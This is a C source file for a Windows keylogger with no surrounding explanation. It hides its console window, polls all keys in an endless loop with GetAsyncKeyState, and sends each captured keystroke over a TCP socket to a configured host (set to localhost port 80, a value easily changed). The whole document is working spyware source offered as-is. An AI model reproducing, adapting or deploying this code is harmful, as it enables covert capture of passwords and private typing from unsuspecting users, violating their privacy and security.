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#define WIN32_LEAN_AND_MEAN
//Needed to keylogging
#include <windows.h>
#include <winuser.h>
//Needed for networking
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define DEFAULT_BUFLEN 128
#define DEFAULT_PORT "80"
#define DEFAULT_HOST "127.0.0.1"
int Save (char key, int sock)
{
if ( (key == 1) || (key == 2) )
return 0;
char output[100];
switch(key){
case 8 : strcat(output,"[B]"); break; //Backspace
case VK_RETURN : strcat(output,"[E]"); break; //Enter
case VK_SPACE : strcat(output,"[S]"); break; // Space
case VK_CLEAR : strcat(output,"[C]"); break; //Clear
case VK_TAB : strcat(output,"[T]");break; //Tab
case VK_SHIFT : strcat(output,"[H]");break; // Shift
case VK_CONTROL: strcat(output,"[O]");break; // Control
case VK_ESCAPE : strcat(output,"[A]");break; // Escape
case VK_END : strcat(output,"[N]");break; // End
case VK_HOME : strcat(output,"[M]");break; // Home
case VK_LEFT : strcat(output,"[L]");break; // Left
case VK_RIGHT : strcat(output,"[R]");break; // Right
case VK_DOWN : strcat(output,"[D]");break; // Down
case VK_UP : strcat(output,"[U]");break; // Up
case 190 :
case 110 : strcat(output,"."); break; //Keypad . or keyboard .
default : strcat(output,"[ ]"); output[3] = key;
}
char *const allout = output;
int result;
result = send( sock,allout,5,0);
int i;
for(i=0;i<99;i++)
{
output[i]='\0';
}
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
int __cdecl main()
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
char *sendbuf = "this is a test";
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
return 1;
}
ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(DEFAULT_HOST, DEFAULT_PORT, &hints, &result);
if ( iResult != 0 ) {
WSACleanup();
return 1;
}
// Attempt to connect to an address until one succeeds
for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
// Connect to server.
iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
Stealth();
int i;
while (true)
{
for(i=8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,ConnectSocket);
}
}
closesocket(ConnectSocket);
while(true){}
return 0;
}
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